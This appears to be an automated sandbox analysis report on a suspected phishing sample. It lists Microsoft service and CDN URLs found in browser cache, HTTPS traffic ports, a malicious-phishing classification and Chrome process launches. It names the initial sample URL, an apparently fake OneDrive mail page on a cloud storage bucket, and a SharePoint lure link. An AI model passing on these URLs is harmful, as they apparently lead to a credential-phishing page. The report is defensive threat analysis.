Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://livefilestore.com/
Source: chromecache_911.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_971.2.dr, chromecache_918.2.dr	String found in binary or memory: https://make.powerautomate.com
Source: chromecache_971.2.dr, chromecache_918.2.dr	String found in binary or memory: https://make.preprod.powerautomate.com
Source: chromecache_971.2.dr, chromecache_918.2.dr	String found in binary or memory: https://make.test.powerautomate.com
Source: chromecache_641.2.dr, chromecache_637.2.dr, chromecache_910.2.dr, chromecache_922.2.dr, chromecache_953.2.dr	String found in binary or memory: https://media.cloudapp.net
Source: chromecache_911.2.dr	String found in binary or memory: https://microsoft.spfx3rdparty.com
Source: chromecache_910.2.dr, chromecache_922.2.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_641.2.dr, chromecache_637.2.dr, chromecache_910.2.dr, chromecache_922.2.dr, chromecache_953.2.dr	String found in binary or memory: https://northcentralus1-medias.svc.ms
Source: chromecache_1055.2.dr	String found in binary or memory: https://office.visualstudio.com/OC/_git/M365AdminUX?path=%2Fmodules%2Fhvc-loader
Source: chromecache_1055.2.dr	String found in binary or memory: https://office.visualstudio.com/OC/_workitems/edit/2364251
Source: chromecache_637.2.dr, chromecache_790.2.dr, chromecache_973.2.dr	String found in binary or memory: https://onedrive.cloud.microsoft
Source: chromecache_637.2.dr, chromecache_790.2.dr, chromecache_973.2.dr	String found in binary or memory: https://onedrive.dev.cloud.microsoft
Source: chromecache_837.2.dr, chromecache_1003.2.dr	String found in binary or memory: https://onedrive.live.com/?gologin=1
Source: chromecache_911.2.dr	String found in binary or memory: https://onedrive.live.com/_layouts/15/odcauth.aspx
Source: chromecache_1052.2.dr, chromecache_782.2.dr, chromecache_1055.2.dr	String found in binary or memory: https://outlook.office.com/search
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://portal.office.com/
Source: chromecache_1060.2.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_922.2.dr	String found in binary or memory: https://res-1-sdf.cdn.office.net
Source: chromecache_922.2.dr, chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net
Source: chromecache_944.2.dr, chromecache_1062.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/fabric-cdn-prod_20230815.002/assets
Source: chromecache_702.2.dr, chromecache_681.2.dr, chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/150.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/16.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/169.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/29.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/30.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/36.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/411.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/54.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/57.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/en-us/initial.r
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/en-us/ondemand.
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/odblightspeedwe
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/odblightspeedwebpack/plt.listviewdat
Source: chromecache_702.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/spserviceworker.js
Source: chromecache_1007.2.dr, chromecache_681.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/spwebworker.js
Source: chromecache_702.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-01-10.005/stsserviceworkerprefetch/stsservicew
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-08c82b19
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-4df30a40
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.aria/odsp.aria.lib-ab227069
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-3c2ad75e
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-3c2ad75e.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-8fd8d875
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-8fd8d875.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-90e28871
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-90e28871.js
Source: chromecache_1003.2.dr	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2025-01-10.005/
Source: chromecache_1003.2.dr	String found in binary or memory: https://shell.cdn.office.net
Source: chromecache_1003.2.dr	String found in binary or memory: https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell
Source: chromecache_922.2.dr	String found in binary or memory: https://shellppe.msocdn.com
Source: chromecache_922.2.dr	String found in binary or memory: https://shellprod.msocdn.com
Source: chromecache_1003.2.dr	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-regula
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-semili
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semilight.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semibold.wof
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semilight.wo
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-bold.wof
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-light.wo
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-regular.
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semibold
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semilight.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff2
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-light.woff
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-bold.wof
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-regular.
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semibold
Source: chromecache_845.2.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semiligh
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://substrate.office.com
Source: chromecache_950.2.dr, chromecache_891.2.dr, chromecache_1052.2.dr, chromecache_782.2.dr, chromecache_975.2.dr, chromecache_902.2.dr	String found in binary or memory: https://support.office.com/en-us/article/Manage-lists-and-libraries-with-many-items-b8588dae-9387-48
Source: chromecache_837.2.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2F$
Source: chromecache_1003.2.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2Fonedrive
Source: chromecache_837.2.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2F$
Source: chromecache_1003.2.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2Fonedrive

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 57848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52998
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57889
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52990
Source: unknown	Network traffic detected: HTTP traffic on port 52827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57888
Source: unknown	Network traffic detected: HTTP traffic on port 58148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52994
Source: unknown	Network traffic detected: HTTP traffic on port 52997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52995
Source: unknown	Network traffic detected: HTTP traffic on port 57860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58221
Source: unknown	Network traffic detected: HTTP traffic on port 52983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52814
Source: unknown	Network traffic detected: HTTP traffic on port 52953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57829
Source: unknown	Network traffic detected: HTTP traffic on port 58251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58237
Source: unknown	Network traffic detected: HTTP traffic on port 52995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 52989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57835
Source: unknown	Network traffic detected: HTTP traffic on port 58036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58251
Source: unknown	Network traffic detected: HTTP traffic on port 58237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 57829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52953
Source: unknown	Network traffic detected: HTTP traffic on port 52978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52797
Source: unknown	Network traffic detected: HTTP traffic on port 52855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58148
Source: unknown	Network traffic detected: HTTP traffic on port 52964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52967
Source: unknown	Network traffic detected: HTTP traffic on port 52841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52842
Source: unknown	Network traffic detected: HTTP traffic on port 52996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52964
Source: unknown	Network traffic detected: HTTP traffic on port 57904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52841
Source: unknown	Network traffic detected: HTTP traffic on port 52866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57862
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57904
Source: unknown	Network traffic detected: HTTP traffic on port 58239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52971
Source: unknown	Network traffic detected: HTTP traffic on port 52957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52854
Source: unknown	Network traffic detected: HTTP traffic on port 52999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58202
Source: unknown	Network traffic detected: HTTP traffic on port 57862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52987
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52988
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52985
Source: unknown	Network traffic detected: HTTP traffic on port 52977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52983
Source: unknown	Network traffic detected: HTTP traffic on port 58018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52984
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57884
Source: unknown	Network traffic detected: HTTP traffic on port 58151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58053
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 443

System Summary

Classification label

Source: classification engine

Classification label: mal76.phis.win@18/725@66/23

Clickable URLs found in PDF

Source: chromecache_627.2.dr

Initial sample: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

Creates files inside the user directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2508,i,9422911865510415694,9506502972394487195,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lsscleancom-my.sharepoint.com/:f:/g/personal/kenlo_lssclean_com/EhnR6xetq2dAuMrc9U21jwcBJzCdAGjvCuP0qUViMdaBIQ?e=0YIDjA__;!!Dhw9WWooB8bE!tAdRWoDVFYP2IeTWlIzG7WWn-9rmQ8Bcj1TAwSQFkHEKEKRRtghV6HUuVp2qt0crTG1LxmWitv2uFE_jVwUp17lshg$"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2508,i,9422911865510415694,9506502972394487195,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Windows shortcut file (LNK) contains relative path

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
